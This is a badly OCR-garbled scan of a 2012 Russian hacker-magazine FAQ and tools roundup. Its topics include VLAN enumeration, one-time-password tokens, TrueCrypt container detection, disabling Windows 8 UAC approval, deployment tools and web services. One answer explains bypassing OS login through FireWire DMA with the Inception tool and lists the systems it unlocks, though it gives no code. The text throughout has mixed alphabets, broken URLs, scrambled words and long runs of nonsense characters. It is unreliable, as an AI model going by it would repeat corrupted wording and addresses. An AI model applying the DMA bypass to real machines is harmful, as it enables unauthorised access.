Компания Logitech занимает весьма прочные позиции в сегменте игрOвых аксессуарOв и манипулятOрOв,
выпуская качественные и достойные внимания истинного геймера устройства. Подтвержден ие
-
рассмотренные нами Logitech G1 00 Gaming Mouse и Logitech G'l03 Gaming КеуЬоагd. Мышь удобно (лежит) в руках, не вызывая усталOсти даже при мительной игре, при этом точно и своевременно реагирутому
Клавиаryра имеет съемную площадку рук, программируемые клавиши и специальный игровоЙ режим, а также отличается бесшумным ходом клавиш. В общем, выбор достоЙный|
ет на команды,
мя
I
хдкЁр
12/16712012
FА0
Глеб Чербов lcherboff 0gmаil,соm)
FАQ
присьlлАи Есть вOпрOсьl нА FAOnREAL.XAKEP.RU Какиt"t образом можно определить,
какие vLAN используются в локальноЙ сети и какие девайсы в каждой из них работают?
tr
У
:il;.'i.l'JJJ.Т;ъlф,х}:'J;fl
',,^'u lD, составляя таким образом список виртуальных сетей. Это действенный способ, но не самый простой: с помощью тулкита Fгоggег [со пl m о пехр]о
Ltэсо rT/lp=444] весь
роцесс можно автоматизировать, Надо сказать, что эт0 не самOстOятельная прOга, а скрипт, который используетдля своей работы ряд других утилит: tshaгk, агр-sсап и другие, Все необходимое по умолчанию включено в дистрибутив ВасkТгасk. После запуска Fгоggег довольно быстро определяет все используемые метки VLAN, после чего с помощью модифицированной версии агр-Sсап получает примерный список девайсов в каждой из виртуальных LAN. Если есть необходимость, то можно очень быстро настроить локальный интерфейс VLAN, чтобы войти в интересующую виртуальную сеть, п
Многие сервисы, практикуюlцие
двухфакторную аутентификацию, предлагают использOвать аппаратные генераторы одноразовых паролей. А что, со6ственно, это такое?
Е Ц
Напомню, что двухфакторная аутентификация предполагает, помимо стандартной связки логин/пароль, ввод некоего 0днOразOвOг0 парOля, присылаемOг0 серверOм
по запросу [например, по SMS] или же сгенерирOваннOг0 на стOрOне клиента с помощью специального устройства (так называемого токена). В таком устройстве на аппаратнOм урOвне реализOван0 вычисление функции hmac от секретного ключа, который, по идее, известен только серверной стOрOне, и некOег0 изменяющегOся и актуальног0 в текущий момент параметра. Большинство современных генераторов реализуют 0дин из трех метOдOв пOлучения таких 0днOразOвых параметрOв для генерации кода, продвигаемых международной инициативной группой разработчиков систем строгой аутентификации 0АТН (0реп AuTHentication). (HMAC-based 0пе В первом случае - НOТР Time Раsswогd) для этого используется простой счетчик генераций пароля. То есть серверной стороне известно количество попыток входа, а в клиентском устройстве при каждой генерации счетчик инкрементируется. При этом исходное значение может задаваться случайным образом. (Time-Based 0пе Во втором случае - ТOРТ в качестве второго парамеTime Раsswогd) тра используется текущее время. Как правило, текущее время 0кругляется д0 значения, кратного З0 секундам, то есть каждые полминуты одноразовый пароль меняется, 0CRA (0АТН Третий тип аутентификации предполагает Challenge-Response Аigогithm) взаимодействие с серверной стороной, и в качестве параметра используется случайное значение, сгенерированное на сервере. Такие
-
устройства обычно имеют либо клавиатуру для ввOда пOль3Oвателем предOставленнOг0 входного значения, либо интерфейс подключения к ПК.
}il Е
Дп, своего проекта хочу реализовать
П
По сути,
двухфакторнуюавторизацию.
Как это проще всего сделать?
Lt
все
необходимое
уже
реалilзо-
вано. лля мобильных платQорм tлпогоlо,
iOS, ВlасkВеггу) существует проверенный 0ТР-генератор - Google Аuthепtiсаtог, реализующий алгоритмы генерации НOТР и ТOРТ. Как несложно догадаться из названия, это разработка Google, которую та поддерживает как прOект с 0ткрытыми исхOдниками Iqo
d е, 9
оq
g
]
е,с
о
шlllЬ
о о g
l
е, au t [е
п tiс а
tQ]
].
Именно это приложение используется для двухфакторной авторизации в Gmail или, к примеру, DгорЬох. Запрашивать дополнительный пароль на своем сервисе можно с помощью РАМ-модуля, который также доступен на сайте проекта. Есть другой вариант - сервис DuоSесuгitу [,,vuvv,,. сЦоs_есцrLЦ.qод). 0н предлагает удобный APl для интеграции в существующие сервисы и плагины для встраивания в популярные 0С, а также разные способы получения одноразовых паролей для пользователей (в том числе через SMS). Есть ли какой-нибудь способ обхода аутентификации в 0С, не оставляющий следов?
кАк эФФЕктивн0 дЕплOить [рАзвЕртьlвАты вЕБ_прилOжЕниЕ? проект на локальном компьютере самая и закачивать его на сервер по FТР частая схема развертывания сайта. Но, увы,
,Щелать
-
ее удобство заканчивается ровно тогда, когда
сайт перерастает уровень домашней страницы и работать с ним начинают несколько человек. Как делать это правильно и удобно? Расскажем о нескольких проверенных временем решениях и лучших практиках.
140
двА вA)кныхтрЕБOвАния
-
код обязательно должен Первое требование быть в репозитории кода [например, Glt), который можно хостить, скажем, на бесплатном аккаунте BitBucket (bitbucket огg). Второе развертывание кода и баз данных на серверы должно происходить автоматически и за минимум времени. Рекомендуем тебе выбрать один из четырех инструментов.
cAPl sTRAil 0 l qАрsт 8Ац8вц.!0дl 0дин из самых мощных тулкитов для автоматизации разверты вания ве6-приложений. Правила развертывания обозначаются с помощью специального DSL-языка, в котором прописывается, какие действия необходимо выполнить на каждом из используемых серверов. Настройка упрощается за счет большого количества плагинов.
хлкЕр
1211b7/2012
Вопросы и ответы
П Е
0дин из самых изящных способов обхода аутентиФикации относительно новая атака через подключение к атакуемой системе при помощи интерфейса lEEE 'lЗ94 [FirеWiге]. ,Щля достижения максимальной пропускной способности шины в архитектуру интерфейса была заложена поддержка прямог0 взаимодействия с памятью [DMA). Что, в свою 0чередь, 0значает возможность манипуляций прям0 в адресном прOстранстве атакуемой системы в обход даже центрального процессора и, конечно, операционной системы с разнообразными механизмами защиты. Более того, атака может быть проведена, даже если атакуемая система нахOдится в режиме сна [suspend), когда в активном состоянии тOльк0 0перативная память, хранящая всю информацию на момент (засыпания>, и ряд интерфейсов. Провернуть такой фокус поможет замечательная утилита lnception lwww.Ьгеаkпепtег, sгg/рго]есt цщДrрпJ, обязанная названием, 0чевидно, одноименному кинофильму. Подобно его героям ты с легкостью сможешь втOргаться в снOвидения мирн0 спящих хранителей секретов и, например, вносить изменения по определенным адресам. После пробуждения окошко входа в систему примет любое значение в качестве пароля. В комплекте идет набор паттернов для поиска в памяти нужных значений и автоматического отпирания вOрOт автOризации различных 0перационных систем. В настоящий момент реализован анлок Windows 8 SP0, Windows 7 SP0-1, Vista SPO и SP2, Windows ХР SР2-З, Мас 0S Х Snow Leopard, Lion и Mountain Lion, а также Ubuntu последних версий. Стоит отметить, что режимом DMA обладает и новый интерфейс, используемый компанией Apple, ТhuпdегЬоlt, чт0 делает ег0 тOже пOтенциальн0 уязвимым к подобному типу атак.
-
TRUECRYPT НЕ ТАКOЙ УЖ И СКРЬlТЫЙ Я ИСПOЛЬЗУЮ КРИПТOКOНТЕЙНЕР
TRUECRYPT ДЛЯ ХРАНЕНИЯ
нЕкOтOрых кOнФидЕнциАльных дАнных. этOт контЕЙнЕр СКРЫТЫЙ. ПРАВИЛЬНО Я ПОНИМАЮ, ЧТО НАЙТИ ЕГО В СИСТЕМЕ
нЕвOзмOжн0?
Увы, нет.,Щаже если хорошо спрятать образ криптоконтейнера, установить ему сбивающие с толку атрибуты, изменить расширение файла его все равно довольно просто обнаружить. По ряду признаков можно достаточно точно определить, что файл является криптоконтейнером популярного решения тгuесгурt [он особенно популярен, поскольку рапространяется с открытыми исходниками], Хорошо подтверждает теорию бесплатная утилита TCHunt (16s_чsЛ!Frцпtl faq}, которая практически со 100%-й вероятностью определяет, что на жестком диске есть криптоконтейнеры. В основе лежат четыре довольно тривиальных параметра, кOтOрые практически не дают ложных срабатываний. Как заверяет автор, 0н устал дOказывать людям, что их скрытые криптоконтейнеры не такие уж и скрытые, и потомУ реализовал подобную утилпу, которая отлично работает под Windows, Linux, Мас 0S Х. Интересно, что ТСНuпt определяет и факт шифрования всего диска [в Тгuесгурt есть такая опцияl: его выдает строка .тгuесгурt Boot Lоаdеr> в первых 512 байтах образа диска.
-
-
Я использую Wiпdоws 8 Епtеrргisе на ].tоей ]i,lalJJиHe. Больчlую часть
вре]{ени мне нужны права ад}lинистратOра для отладки, из}lенения системных файлов и так далее. В <<ceMepKe>r },lox(Ho было установить настройку UAC в положение кНикогда не спращивать)), что полностью избавляло от необходиltlости подтверждать свои действия. В Windows 8 этот трюк больще
сн EF IWWW.OPSCODE.CO1.1/C нЕЕ l Это решение используется внлри многих крупных компаний, которым жиз-
ненно необходимо выполнять одни и те же действия сразу на десятках, сотнях, а то и тысячах серверов. Правила настройки [скажем, Apache, MySQL и Hadoop) - их называют рецепты оформляются в так называемые сооЬооk'и, которые распространяются по хостам.
хлкЕр
121167/2012
0дна-единствеНная строка
в образе )a(есткоrо
FABRlc lЕдвЕцЕ_QRсl 0чень понятный и простой в освоении инструмент для автоматизации деплоя, С помощью Руthоп-сценариев далее можно очень удобно расписать необходимые действия, в том числе развертывания кода из репозитория на боевом сервере, которые будут выполнены на группе серверов. Можно начать именно с FаЬгiс.
диска
с
потрохани выдает использование криптоконтейнера
DEPLoY BUTTo]{ lDEPL..OYBUTTot{.cOцl Этот сервис поможет в использовании описанных инструментов. Идея простая: ты обозначаешь, откуда будр забираться исходные файлы, куда их нужно будет развертывать и каким из способов делать [поддерживаются в том числе Chef и Сарistгапо). В результате получаешь быстрый деплой с помощью одной кнопки мыши.
FАо не работает: даже с отключенны!t UAC мне
по-прежнему приходится делать пOдтверх(дения для выполнения опасных с тOчки зрения систе}4ы операций. Как от этого избавиться?
tr
н: э
ъ:iiill, i;,х'л] Hlx,
Sесuгitу 0ptions>, то среди прочего Admin будет настройка <Usег Account Сопtгоls ".T:i:1; Арргочаl Mode", которую необходимо отключить. После этого система не будет докучать подобными запросами.
Policies
Как вернуть привычную кнопку <<Пуск>> в интерфейс Windows 8? Стандартными инструментами винды никак. Единственное, что нам остается, эт0 устанOвить в систему альтернативную реализацию привычного меню. Не могу не рассказать здесь о Pokki lwww.pokki.coml, которая не просто реализовала знакомый интерфейс, но еще и доработала идею. С помощью меню можно быстро искать приложения и файлы. Сюда же можно добавить в закладки любимые приложения, сайты, файлы и папки для быстрого доступа. Но самая это внутренний магазин сOчная фишка приложений Pokki Арр Stоге, позволяющий добавить интерактивные элементы [например, для отображения последних писем, пришедших в Gmaill.
-
Вот и настал тотдень, когда скрипты на bash'e уже не умещаются в десяток строк кода. Приходится писать довольно сложные сценарии, кOтOрые Becb}la гемOрройно отлаlкивать. Существует ли нор1,1альныЙ отладчик для Ьаsh-скриптов?
tr
,#trýЁffiЁ]ъ?;:i::;l,л
исходного кода Ьаsh-скриптов, позволяющий пошагово выполнять сценарий и использовать для управления команды gdb. Можно легко управлять параметрами, кOтOрые влияют на выпOлнение скрипта, или устанOвить брейкпоинт при наступлении определенных событий. 0тличная утилита не только для бывалых админов, но и для тех, кто только начинает осваивать bash. К слову, существуют форки проекта, например для командной zshdb (https://9ithub.com/ оболочки zsh госkуi zshd Ь).
-
Удивительное дело, как, оказывается, просто можно разработать приложение для iOS и Апdrоid, воспользовавlцись PhoneGap или Titanium !lobile Development Рlаtfогm. И насколько неудобно отслеживать КOЛИЧеСТВО
ЗаГРУЗOК И ПOКУПOК В 1.{аГа3ИНаХ
приложений Арр Stоге и Google Play. Как к этой проблеilе подходят опытные издатели, чтобы получить обобщенную и наглядную статистику? Каждый из магазинов приложений худо-бедно показываетколичество загрузOк и установOк, н0 спOру нет эт0 не т0 представление, с кOтOрым хOтелOсь бы..рабоrато. К тому же разработчики, которые
П Цl 112
Pokki
-
реинкарнация кнопки (Пуск>
в
Windows
8
У ltеня есть статический сайт, но очень хотелось бы добавить к нему систе].,lу
успели начать писать для разных платформ, вынуждены смOтреть статистику сперва в одном магазине, а потом в другом. К счастью, у обеих платформ есть экспорт данных, которые можно обработать сторонними инструментами. Есть немало десктопных приложений, предлагающих удобную обработку и представление данных, н0 мы сOветуем два онлайн-сервиса - Арр Аппiе (www. а р р а п п e.com) и D i sti mo (wцlw.dlsЦгпр.сршl.
llЕ
Каждый из них имеет бесплатные аккаунты, возможностей которых хватит большей части разработчиков. Таким образом, можно быстро отслеживать количество загрузок, прибыль от продаж, позицию в рейтинге магазина, отзывы потребителей, в том числе с разбиением по странам.
.
ко1,1i4ентариев. J.'lожно ли это делать без про, гpaltl1,1ирования с ],tоей стороны?
н
.
:I;ж:fi::x*::t},J"lffi;T
.
быстро установить актуальную версию
нужных библиотек lскажеlt, jQцеrу|?
tr
Iт#Y :ж%: ъi;fi l:;хъ,.,л,д'
"
"
Воwег (https://github.com/twitteг/boweг), 0н позволяет быстро установить все популярные JS- и СSS-библиотеки, удовлетворив необходимые зависимости. К примеру, чтобы установить jQuегу, потребуется одна команда:
Ьоwег insta11 jqueny JS-скри пт будет скачан в ./com ропепts/jquегу. Установить сам Воwег необходимо с использованием Node.js [поdеjs.оrg) и прm (прmjs.огgl: прm
install
Ьоwеr -g
Список всех пакетов {а он по-настоящему впечатляет) можно получить с помощью команды Ьоwег list.
ескол ько:
lntenseDebate[цlщцшtщsФе!зlе=с
l.
0дин из самых первых подобных проектов, который легко подключается к нужной странице, устанавливая специальный код. Есть готовые решения для популярных
i
Е
Конечно. сvшествvет немало сеOвисов комментирования. Вот навскидку
движкOв. Disqus [disqus.com). Не менее популярный сервис, позволяющий реализовать систему общения (втом числес рейтингом каждого поста] на любой странице сайта (даже если это полностью статические НТМL-ки, которые хостятся на DгорЬох). Бонусом получает прOдвинутую систему мOдерации. Livеfуге [www.livef уrе.соm). Этот проект отличается от предыдущих интересной фиш кой: пользователь может комментир0вать не только страницу {например, статью), но и конкретную ее часть. l-]итируемая часть особенным образом выделяется.
помимо этого, не стоит забывать про виджеты социальных сетей {в том числе Facebook'a и *ВКонтактеr], которые также предоставляют виджеты для быстрого комментирOвания. Какой декорtпилятор для .NЕТ луччlий? 0чень неплохой декомпилятор, который мы не раз использовали в бою, dotPeek [jеtЬгаiпs.соm/dесоmрilег) от JеtВгаiпs (создателей RеShагре1 дополнения к Visual Studio, которое использует огромное кOличество .NЕТ-программистов). Что приятно, утили, та бесплатная.]Е
-
хлкЕр 12l1b7l2012
j-
Ё
l:;
:q
Е
:iэ r Ё; Lig
E-rE >;
__:Э= ,,,-!-Фý Е€
ýsz ; е }:
;
_
:
.
?
:
:Ц л
р_ : _,:"-: о 9ь .-;;?-jE = = =_i: оо: -",Jo* ;-З-;чЗ --Е cjq ёь:,,-RЁ],]::;ý --кi;З: :--з;:;эЭIý =I Т_:ъе=э=Эr Еi=tЕi?;ЕГ:ýi дЗЁдд=.з.;jээ*ý#s;9ý Ё;Е ,'эдЁЁgЁЁ=-Эý,Ё9гi5;,.,5 цсl*?.1?аЁ: ЕЁЁ;Ё;;iН;ilацэi$ i,i:i-чiЁр €ЕЁ*тёЕ;аr??::Ё=;? ý-&; i6=Ё9*дБ;i*J =
Ё
ь= } ЕБ =; ':Б -Ё El* i= :з л]:iвi :э:к}Е___::*;Т ЕЕЁr g ;аф5a,-т*Е;:[ё=пЁ !
ч
ЁgЁэЁ -ё€АЁЁЁЁЁiЁЁЁЁiЁý ЕФФtsF
х
<<фUUl
.
*: ;Б
.bqJ' "э Ь9Г
.Е
З :
:
R
:
?ё
;ч = SF Фф
g?
r= :
*; :__е; к:_:, ]yf,?-KE r== ,_Ii * : - ЕЗliёrЯý_Е€ = ё;;;_ЕЕ-+::;=]i_? _1",sЁh=ЕгЁЁ==,,!аýý,dръФе 5ЕЁgеЁЁЁЁэЕЭЭэ;Е Е;g*ЕЕ€ЁЕээ*igдЕ ;-ЁэЁЁзЁ
uNlтs/WWW2
]lп|llilillп JLllце Ьеаг.соm
Удобны
й и
приятны
й
сервис для туннелирования на всех платфорttах
ЕЕ р|Lе
a
рре Welcome to Pi.pe Beta
the
TФllgon.to lmuýo, ol,our рпоlфаvdsýоз!Sосd f/ф3-r]d п]чllаФOФ.оi с,ф*]пР ф
нстру}.lентдля между различн И
Ты наверняка не раз сталкивался с тем, чт0 твой российский lР-шник автоматически делает тебя третьесортным человеком в интернете. Если тебе когда-нибудь хотелось посмотреть, что собой представляют такие знаменитые сервисы, как Hulu, Netflix или суть которой сводилась к тому, что Spotify, - каждый раз тебе подсовывали плашку, тебе здесь не рады. ТuппеlВеаг удобный, красивый и недорогой прокси-сервис, позволяющиЙ получить американскиЙ lP для подобных целеЙ. Разработчики предусматривают клиенты для Windows, Мас 0S Х, Апdгоid и iOS-таким образом, с одной учеткой за пять долларов в месяц можно получить неограниченный туннелированный трафик на всех своих устройствах. Бесплатно доступно 500 мегабайт в месяц.
Liberate
Media!
YoUr
м|gdQ. Р| nl., sry. Мр пе уоU.mфаlоп*ýфпб фэlФLýуоO,с'
So mапу Seruices to choose from W.50фп F&k пф Gфlефче sndljy cxвcr аФrmо€
переноса l,{ультиli{едийных файлов онлайн-сервисаtt и
ы tt и
READY ТО GET
MoBlLE?
ХорочJая отправная точ ка перед начало],l адаптации
сайтадля l.tобильныхустройств
Рi* }орфl hý!ф,гд
Каждый из нас за последнее время наверняка оброс разнообразными облачными сервисами, фото- и видеохOстингами, учетками в социальных сетях и другим цифровым сети часто оказывается трудбалластом. И вот незадача -твой контент в социальной нодосягаемым. Хочешь перенести 500 фоток из твоего профиля в социалке в Picasa? ,Щелай это вручную разработчики совсем не заинтересованы в том, чтобы упростить эту работу. Pi.pe решает эту проблему: предоставляет простой интерфейс для миграции данных с одного сервиса на другой. Поддерживаются все облачные хранилища IDгорЬох, Box.net, SugагSупс, Google Dгiче, Skydrivel, фотохостинги [Fliсkг, Picasa) и социальные сети [Facebook, lпstаgгаm).
-
ffi h otn,,:c
gqцэ-с
о
m
Сервис от Google позволяет провести набор простейших тестов для оценки *мобильностиu твоего сайта. Насколько удобно будет кликать по навигационным элементам? Не слишком ли кучно расположены кнопки? Как будет выглядеть на маленьком экране главная страница сразу после загрузки? Сколько времени понадобится на загрузку? Сервис указывает на проблемные места и дает различные советы, как их устранить, - неплOхая 0тправная точка для .мобилизации> твоего ресурса. Ну а когда ты займешься непосредственно адаптацией сайта, ты сможешь воспользоваться специализированными инструментами для тестирования верстки на различных экранах, например гesponsive.is.
@
рr,iчасуflх.сощ
Сhгоmе и Mozilla Ргiчасуf ix - бесплатный сервис и расширение для браузеров Google Fiгеfох, анализирующий то, как два главных любителя пользовательских данных о тебе информацию. !ело в том, что часто причиной Google и FасеЬооk - собирают в настройглубоко галочка, спрятанная какая-нибудь может оказаться данных утечки Ргiчасуfiх может показать, как та или иная настроЙка профиля выдает ках сервиса, тебя с потрохами, и дать рекомендации, что необходимо изменить. В будущем список пOявится анализ деятельнOсти сервисOв поддерживаемых сервисOв увеличится Тwittег и Linkedln, В общем, советую попробовать данное расширение - вполне возможно, что тебя неприятно удивят результаты анализа.
-
Наглядн ый и нструмент для сетевых па ранои ков, которых в последнее вреtiя становится все больцlе
хдкЕр
12
l1b7l 2а12
F || f I
I й п